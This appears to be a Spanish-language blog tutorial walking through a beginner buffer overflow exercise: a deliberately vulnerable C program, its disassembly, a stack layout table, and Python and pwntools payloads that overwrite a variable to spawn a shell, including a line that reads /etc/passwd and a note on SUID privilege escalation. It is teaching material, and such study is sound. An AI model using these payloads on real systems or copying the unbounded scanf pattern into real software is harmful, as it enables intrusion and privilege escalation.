Voy a retomar el tema del exploiting con una serie de artículos "random", esta vez con uno en Linux de los más básicos y típicos que podemos encontrarnos. Me basaré en uno de un taller de kablaa en que tendremos que explotar un binario cuyo código fuente es el siguiente:
Evidentemente en un CTF no se nos facilitará nada más que el binario compilado, pero para este ejercicio lo usaremos primero para entender mejor el típico desbordamiento de buffer.
Como podéis ver en el código, se inicializa el entero 'correct' a 0 pero el programa admite como único parámetro la cadena 'bof' que será proporcionada como argumento directamente a la función main. Luego la función scanf con el especificador %s leerá los caracteres de la cadena hasta encontrar un espacio, un intro, un tabulador, un tabulador vertical o un retorno de carro, y añadirá automáticamente el carácter nulo al final (como sabréis, una cadena o string en C se define como un array de caracteres que termina siempre en un byte null (\0)).
Sin embargo, es muy peligroso usar scanf para leer cadenas, pues scanf no tiene en cuenta la longitud y admitirá que el usuario escriba más caracteres que lo que el array definido en el programa pueda admitir (64 en este caso). Como resultado, scanf escribirá los caracteres que ya no quepan en el array definido en otras porciones de memoria que pueden contener otros datos que está usando nuestro programa, y ahí es donde tenemos que sobre escribir el valor de la variable 'correct' y asignarle el valor 0xdeadbeef para que ejecute la función system.
El primer paso para completar cualquier reto con binarios es ejecutar primero el programa y ver qué hace. Por lo tanto vamos a compilar el programa para comprobarlo (deshabilitaremos las protecciones de la pila para la PoC):
La primera ejecución muestra una salida correcta del programa:
Pero si desbordamos el parámetro con un mayor número de caracteres obtendremos el fallo de segmentación:
Lo que haremos a continuación es obtener el código en ensamblador para tener una idea del diseño del programa. En este caso no nos hará falta ver dónde debemos establecer nuestros breakpoints en gdb porque el ejercicio se puede resolver fácilmente y únicamente a través del análisis estático. Así que obtendremos el asm:
Ahora, echando un ojo al main hay algunos detalles que llaman la atención:
La primera línea resta 0x54 (84 bytes) de esp para crear espacio para las variables. Luego crea una variable en la dirección de ebp-0xc (12 bytes) y almacena el valor 0. Después, resta 0x8 (8 bytes) de esp, aunque para el ejercicio en cuestión no es determinante. Veamos el siguiente bloque:
Aquí vemos en acción la función scanf. La primera línea se carga en la dirección de ebp-0x4c en el registro eax y luego pushea eax a la parte superior de la pila, lo que indica que se está utilizando como un parámetro para scanf. La tercera línea está pusheando un segundo parámetro en la pila. En GDB se puede usar x 0x80456c0 para encontrar el valor de esa dirección que resulta ser %s. Luego, finalmente, se llama a la función con los parámetros y, por lo tanto, la cadena que metemos en el buffer se almacena en la dirección de ebp-0x4c.
Dado que se trata de una vulnerabilidad de desbordamiento de búfer, podemos esperar encontrar algún tipo de valor para sobrescribir, lo que significa que hay una dirección arriba [epb-0x4c] que necesitamos desbordar.
Aquí está la comparación que queremos hacer verdadera, compara el valor en la dirección de [ebp-0xc] a 0xdeadbeef y salta si es igual.
El resumen sería:
Con un desbordamiento de búfer, necesitamos sobreescribir 0xC con el valor 0xdeadbeef, para hacer eso necesitamos escribir un búfer para llenar los valores entre 0x4c y 0xC. Al mirar la tabla, se puede ver que es exactamente 64 bytes y luego poner 0xdeadbeef. Por lo tanto, nuestro payload será muy fácil de crear con Python:
Como veis hemos introducido la cadena al revés, en formato little endian, y ya lo tenemos. Dado el programa y si el binario tiene el bit suid activado podemos ejecutar una shell o cualquier comando con privilegios elevados:
Y si te gusta pwntools pues podemos usarlo también directamente:
Y hasta aquí el writeup mediante análisis estático. En la siguienne entrada haremos el mismo ejercicio pero usando el debugger gdb para ir cogiendo soltura.
¿Acompañas a este newbie en el aprendizaje del exploting en Linux?
Referencias:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, const char *argv[])
{
int correct = 0;
char bof[64];
scanf("%s",bof);
if(correct != 0xdeadbeef)
{
puts("you suck!\n");
exit(0);
}
puts("you win!\n");
system("/bin/sh");
return 0;
}
Evidentemente en un CTF no se nos facilitará nada más que el binario compilado, pero para este ejercicio lo usaremos primero para entender mejor el típico desbordamiento de buffer.
Como podéis ver en el código, se inicializa el entero 'correct' a 0 pero el programa admite como único parámetro la cadena 'bof' que será proporcionada como argumento directamente a la función main. Luego la función scanf con el especificador %s leerá los caracteres de la cadena hasta encontrar un espacio, un intro, un tabulador, un tabulador vertical o un retorno de carro, y añadirá automáticamente el carácter nulo al final (como sabréis, una cadena o string en C se define como un array de caracteres que termina siempre en un byte null (\0)).
Sin embargo, es muy peligroso usar scanf para leer cadenas, pues scanf no tiene en cuenta la longitud y admitirá que el usuario escriba más caracteres que lo que el array definido en el programa pueda admitir (64 en este caso). Como resultado, scanf escribirá los caracteres que ya no quepan en el array definido en otras porciones de memoria que pueden contener otros datos que está usando nuestro programa, y ahí es donde tenemos que sobre escribir el valor de la variable 'correct' y asignarle el valor 0xdeadbeef para que ejecute la función system.
El primer paso para completar cualquier reto con binarios es ejecutar primero el programa y ver qué hace. Por lo tanto vamos a compilar el programa para comprobarlo (deshabilitaremos las protecciones de la pila para la PoC):
$ gcc -Wall bof2.c -o bof2 -g -fno-stack-protector
La primera ejecución muestra una salida correcta del programa:
$ python -c 'print("A"*40)' | ./bof2
you suck!
Pero si desbordamos el parámetro con un mayor número de caracteres obtendremos el fallo de segmentación:
$ python -c 'print("A"*400000000)' | ./bof2
Traceback (most recent call last):
File "", line 1, in
IOError: [Errno 32] Broken pipe
Violación de segmento (`core' generado)
Lo que haremos a continuación es obtener el código en ensamblador para tener una idea del diseño del programa. En este caso no nos hará falta ver dónde debemos establecer nuestros breakpoints en gdb porque el ejercicio se puede resolver fácilmente y únicamente a través del análisis estático. Así que obtendremos el asm:
$ objdump -d -M intel bof2 > bof2.asm
Ahora, echando un ojo al main hay algunos detalles que llaman la atención:
80484b9: 83 ec 54 sub esp,0x54
80484bc: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0
80484c3: 83 ec 08 sub esp,0x8
La primera línea resta 0x54 (84 bytes) de esp para crear espacio para las variables. Luego crea una variable en la dirección de ebp-0xc (12 bytes) y almacena el valor 0. Después, resta 0x8 (8 bytes) de esp, aunque para el ejercicio en cuestión no es determinante. Veamos el siguiente bloque:
80484c6: 8d 45 b4 lea eax,[ebp-0x4c]
80484c9: 50 push eax
80484ca: 68 c0 85 04 08 push 0x80485c0
80484cf: e8 cc fe ff ff call 80483a0
Aquí vemos en acción la función scanf. La primera línea se carga en la dirección de ebp-0x4c en el registro eax y luego pushea eax a la parte superior de la pila, lo que indica que se está utilizando como un parámetro para scanf. La tercera línea está pusheando un segundo parámetro en la pila. En GDB se puede usar x 0x80456c0 para encontrar el valor de esa dirección que resulta ser %s. Luego, finalmente, se llama a la función con los parámetros y, por lo tanto, la cadena que metemos en el buffer se almacena en la dirección de ebp-0x4c.
Dado que se trata de una vulnerabilidad de desbordamiento de búfer, podemos esperar encontrar algún tipo de valor para sobrescribir, lo que significa que hay una dirección arriba [epb-0x4c] que necesitamos desbordar.
80484d7: 81 7d f4 ef be ad de cmp DWORD PTR [ebp-0xc],0xdeadbeef
80484de: 74 1a je 80484fa
Aquí está la comparación que queremos hacer verdadera, compara el valor en la dirección de [ebp-0xc] a 0xdeadbeef y salta si es igual.
El resumen sería:
address | Value |
---|---|
ebp - 0x5c | junk value |
8 bytes | |
ebp - 0x4c | scan |
64 bytes | |
ebp - 0xC | 0 |
12 bytes | |
ebp |
Con un desbordamiento de búfer, necesitamos sobreescribir 0xC con el valor 0xdeadbeef, para hacer eso necesitamos escribir un búfer para llenar los valores entre 0x4c y 0xC. Al mirar la tabla, se puede ver que es exactamente 64 bytes y luego poner 0xdeadbeef. Por lo tanto, nuestro payload será muy fácil de crear con Python:
$ (python -c "print 'A' * 64 + '\xef\xbe\xad\xde'") | ./bof2
you win!
Como veis hemos introducido la cadena al revés, en formato little endian, y ya lo tenemos. Dado el programa y si el binario tiene el bit suid activado podemos ejecutar una shell o cualquier comando con privilegios elevados:
$ (python -c "print 'A' * 64 + '\xef\xbe\xad\xde'";/bin/echo cat /etc/passwd) | ./bof2
you win!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
....
Y si te gusta pwntools pues podemos usarlo también directamente:
$ python -c "from pwn import *; print ('a' * 64) + p32(0xdeadbeef)" | ./bof2
you win!
Y hasta aquí el writeup mediante análisis estático. En la siguienne entrada haremos el mismo ejercicio pero usando el debugger gdb para ir cogiendo soltura.
¿Acompañas a este newbie en el aprendizaje del exploting en Linux?
Referencias:
- https://github.com/kablaa/CTF-Workshop/tree/master/Exploitation/Writeups/BufferOverflows/BOF2
- https://github.com/smholsen/pwnable.kr/tree/master/3-bof
- http://www.fuzzysecurity.com/tutorials/expDev/12.html
- https://github.com/jivoi/junk/blob/master/root-me/App-System/ch13-ELF32-Stack-buffer-overflow-basic-1
Buen tutorial. Seria bueno que muestras conceptualmente al stack frame
ResponderEliminarmuestres*
EliminarBuenas! te refieres a como en el post https://www.hackplayers.com/2017/10/taller-de-iniciacion-al-exploiting-1.html ?
EliminarMe mola este tipo de posts. Bien jugado Vicente
ResponderEliminarSisi igual a ese. No habia visto ese articulo
ResponderEliminarSencillito pero bien explicado para coger la idea principal y aprender el concepto del BOF. Yo añadiría por qué si el buffer es de 64 es necesario meter tantas Aes para que pete y saber que tiene un BOF, es algo que a muchos le generá duda, porque lo suyo es que pete al pasar de 64 bytes.
ResponderEliminar